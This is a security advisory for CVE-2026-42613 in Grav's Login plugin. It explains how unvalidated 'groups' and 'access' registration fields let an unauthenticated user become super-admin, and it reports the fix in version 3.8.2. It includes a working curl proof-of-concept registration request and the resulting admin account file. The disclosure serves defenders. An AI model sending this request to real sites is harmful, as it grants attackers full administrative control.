CVE-2026-42613

Description

# Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access ## Summary The `Login::register()` method in the Login plugin accepts attacker-controlled `groups` and `access` fields from the registration POST data without server-side validation. When registration is enabled and `groups` or `access` are included in the configured allowed fields list, an unauthenticated user can self-register with `admin.super` privileges by injecting these fields into the registration request. This is a missing server-side validation issue — the only defense is a config-level `fields` allowlist, which is an admin-facing setting, not a hardcoded security boundary. ## Affected Component - **File:** `user/plugins/login/classes/Login.php`, lines 246-306 - **Method:** `Login::register()` - **Validation:** `Login::validateField()`, lines 363-432 - **Plugin:** Login Plugin 3.8.0 - **Grav:** 1.8.0-beta.29 ## Root Cause In `register()` (lines 254-267), the `groups` and `access` fields are only set to config defaults **if they are not already present in the input data**: ```php // Line 254-260 if (!isset($data['groups'])) { $groups = (array) $this->config->get('plugins.login.user_registration.groups', []); if (count($groups) > 0) { $data['groups'] = $groups; } } // Line 262-267 if (!isset($data['access'])) { $access = (array) $this->config->get('plugins.login.user_registration.access.site', []); if (count($access) > 0) { $data['access']['site'] = $access; } } ``` If an attacker **includes** `groups` or `access` in the POST body, the `!isset()` check passes and the config defaults are skipped. The attacker's values flow through unchanged. Later (lines 298-303), these values are assigned directly to the user object: ```php if (isset($data['groups'])) { $user->groups = $data['groups']; // attacker-controlled } if (isset($data['access'])) { $user->access = $data['access']; // attacker-controlled } $user->save(); ``` The `validateField()` method (lines 363-432) has a `switch` statement that only validates: `username`, `password`, `password2`, `email`, `permissions`, `state`, and `language`. The `groups` and `access` fields pass through the `default` case with **no validation at all**. ## Precondition Registration must be enabled with `groups` and/or `access` in the configured allowed fields: ```yaml # user/config/plugins/login.yaml user_registration: enabled: true fields: - username - password - email - fullname - groups # ← enables the attack - access # ← enables the attack ``` This is a configuration the admin UI allows without any warning. An admin adding `groups` to let users pick a non-privileged group (e.g., `editors`) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected. ## Proof of Concept ### Malicious registration request (unauthenticated): ```bash curl -X POST "${TARGET}/user_register" \ --data-urlencode "data[username]=attacker" \ --data-urlencode "data[password1]=Str0ngP@ss!" \ --data-urlencode "data[password2]=Str0ngP@ss!" \ --data-urlencode "data[email][email protected]" \ --data-urlencode "data[fullname]=Attacker" \ --data-urlencode "data[groups][]=admins" \ --data-urlencode "data[access][admin][login]=true" \ --data-urlencode "data[access][admin][super]=true" \ --data-urlencode "data[access][site][login]=true" \ --data-urlencode "form-nonce=${FORM_NONCE}" \ --data-urlencode "__form-name__=user_register" \ --data-urlencode "__unique_form_id__=${FORM_UID}" ``` ### Resulting account file (`user/accounts/attacker.yaml`): ```yaml email: [email protected] fullname: Attacker groups: - admins access: admin: login: true super: true site: login: true hashed_password: ... state: enabled ``` The attacker can then log into `/admin` with full super-admin privileges. ## Impact - **Severity:** Critical (when precondition is met) - **Vector:** Unauthenticated → Super Admin - **Escalation:** Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload - **Precondition:** Registration enabled with `groups` or `access` in allowed fields — a configuration the admin UI permits without warning ## Environment - Grav Core: 1.8.0-beta.29 - Login Plugin: 3.8.0 - PHP: 8.4.11 ## Credits Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/ --- ## Maintainer note — fix applied (2026-04-24) Fixed in **grav-plugin-login 3.8.2** (commit [`3d419a0`](https://github.com/getgrav/grav-plugin-login/commit/3d419a0)). On the Grav 2.0 line, the login plugin is pinned at `>=3.8.2` by admin2's [`blueprints.yaml`](https://github.com/getgrav/grav-plugin-admin2/blob/develop/blueprints.yaml), so sites running admin2 with Grav **2.0.0-beta.2** pick the fix up automatically. **What changed:** the registration form handler now explicitly skips the `groups` and `access` privilege fields in the per-field input loop — even if an administrator added them to `user_registration.fields`. A warning is logged on any attempted injection. Server-side `default_values`, invitations, and the `user_registration.{groups,access}` config remain the sole sources of those values. **Files:** - [`login.php`](https://github.com/getgrav/grav-plugin-login/blob/develop/login.php) — form handler privilege-field strip.

Affected packages (1)

• Packagist/getgrav/gravfrom 0, < 2.0.0-beta.2

CVSS scores

References (5)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-42613
• PATCHhttps://github.com/getgrav/grav
• WEBhttps://github.com/getgrav/grav-plugin-login/commit/3d419a0dabd70aed1fd49afcd5919004a4141da1
• WEBhttps://github.com/getgrav/grav/security/advisories/GHSA-pxm6-mhxr-q4mj
• WEBhttps://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw